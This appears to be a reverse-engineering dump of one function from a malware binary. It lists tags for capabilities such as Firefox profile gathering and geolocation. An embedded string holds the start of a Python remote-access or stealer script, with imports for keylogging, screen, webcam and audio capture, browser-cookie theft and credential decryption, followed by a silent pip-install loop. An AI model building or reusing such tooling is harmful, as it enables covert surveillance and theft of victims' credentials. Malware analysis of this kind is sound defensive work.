Function at 0x4ab040
Capabilities:
Gather firefox profile information
Get geographical location
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4ab0e1
push rbp
mov rbp, rsp
sub rsp, 0x28
lea rax, [0x004d6ef5]
mov ebx, 0x23
nop
call fcn.004aab00
lea rax, [0x004d91b1]
mov ebx, 0x31
call fcn.004aab00
mov rcx, qword [str.__usr_bin_env_python_r_nimport_os___line:3_r_nimport_sys_r_ntry:___line:4_r_n____from_flask_import_Flask__request__redirect__url_for__request__jsonify__Response__send_file___line:5_r_n____from_PIL_import_Image__ImageGrab___line:6_r_n____import_pynput___line:7_r_n____from_pynput_.keyboard_import_Key__Listener__Controller___line:8_r_n____from_pynput_.mouse_import_Button__Controller_as_mousecontroller___line:9_r_n____import_PIL___line:10_r_n____import_PIL_.Image___line:11_r_n____from_subprocess_import_Popen__PIPE__CREATE_NO_WINDOW___line:12_r_n____from_pathlib_import_Path___line:13_r_n____import_getpass_r_n____import_urllib_.parse_r_n____import_bleach_r_n____import_atexit_r_n____import_ctypes_r_n____import_io_r_n____import_platform_r_n____import_time_r_n____import_requests_r_n____import_string_r_n____import_random_r_n____import_io_r_n____import_browser_cookie3_r_n____import_subprocess_r_n____import_base64_r_n____import_sqlite3_r_n____import_json_r_n____import_win32crypt_r_n____import_shutil_r_n____import_asyncio_r_n____import_threading_r_n____import_sys_r_n____import_ntpath_r_n____import_re_r_n____import_httpx_r_n____import_webbrowser_r_n____import_uuid_r_n____import_socket_r_n____import_tempfile_r_n____import_tarfile_r_n____import_urllib3___line:14_r_n____from_Crypto_.Cipher_import_AES___line:15_r_n____from_threading_import_Timer___line:16_r_n____import_win32api_r_n____import_win32con_r_n____import_win32gui_r_n____import_win32service_r_n____import_win32process_r_n____import_pywintypes_r_n____import_win32ui___line:17_r_n____from_ctypes_import_windll__wintypes___line:18_r_n____import_psutil___line:19_r_n____from_screeninfo_import_get_monitors___line:20_r_n____import_pygame_r_n____import_pygame_.camera___line:21_r_n____import_cv2___line:22_r_n____import_wmi___line:23_r_n____import_hashlib___line:24_r_n____import_pyaudio_r_n____import_wave___line:25_r_n____from_win32gui_import_GetWindowText__GetForegroundWindow___line:26_r_n____from_cryptography_.fernet_import_Fernet___line:27_r_nexcept:___line:28_r_n____print__e_so_instal_____line:29_r_n____sys.exit___r_n____for_package_in___requests____cryptography____wmi____pathlib____opencv_python____screeninfo____psutil____httpx____flask____pynput____pillow____browser_cookie3____pyaudio____bleach____pypiwin32____pycryptodome____pygame__:___line:30_r_n________os_.system_f_pip_install_package_____line:31_r_n____from_flask_import_Flask__request__redirect__url_for__request__jsonify__Response__send_file___line:33_r_n____from_PIL_import_Image__ImageGrab___line:34_r_n____import_pynput___line:35_r_n____from_pynput_.keyboard_import_Key__Listener__Controller___line:36_r_n____from_pynput_.mouse_import_Button__Controller_as_mousecontroller___line:37_r_n____import_PIL___line:38_r_n____import_PIL_.Image___line:39_r_n____from_subprocess_import_Popen__PIPE__CREATE_NO_WINDOW___line:40_r_n____from_pathlib_import_Path___line:41_r_n____import_getpass_r_n____import_urllib_.parse_r_n____import_bleach_r_n____import_atexit_r_n____import_ctypes_r_n____import_io_r_n____import_platform_r_n____import_time_r_n____import_requests_r_n____import_string_r_n____import_random_r_n____import_io_r_n____import_browser_cookie3_r_n____import_subprocess_r_n____import_base64_r_n____import_sqlite3_r_n____import_json_r_n____import_win32crypt_r_n____import_shutil_r_n____import_asyncio_r_n____import_threading_r_n____import_sys_r_n____import_ntpath_r_n____import_re_r_n____import_httpx_r_n____import_webbrowser_r_n____import_uuid_r_n____import_socket_r_n____import_tempfile_r_n____import_tarfile_r_n____import_urllib3___line:42_r_n____from_Crypto_.Cipher_import_AES___line:43_r_n____from_threading_import_Timer___line:44_r_n____import_win32api_r_n____import_win32con_r_n____import_win32gui_r_n____import_win32service_r_n____import_win32process_r_n____import_pywintypes_r_n____import_win32ui___line:45_r_n____from_ctypes_import_windll__wintypes___line:46_r_n____import_psutil___line:47_r_n____from_screeninfo_import_get_monitors___line:48_r_n____import_pygame_r_n____import_pygame_.camera___line:49_r_n]
mov rdi, qword [0x005ccc68]
mov rsi, qword [0x005ccc70]
lea rax, [0x004d1859]
mov ebx, 0xf
call fcn.004aade0
nop dword [rax]
test al, al
je 0x4ab0bf
lea rax, [0x004d4aa8]
mov ebx, 0x1a
call fcn.004aab00
mov eax, 0x69
call fcn.004aa9c0
lea rax, [0x004d574c]
mov ebx, 0x1d
call fcn.004aab00
mov eax, 0x65
call fcn.004aa9c0
add rsp, 0x28
pop rbp
nop
ret
call fcn.0045fa00
jmp method.HH9uHHH9K1.virtual_0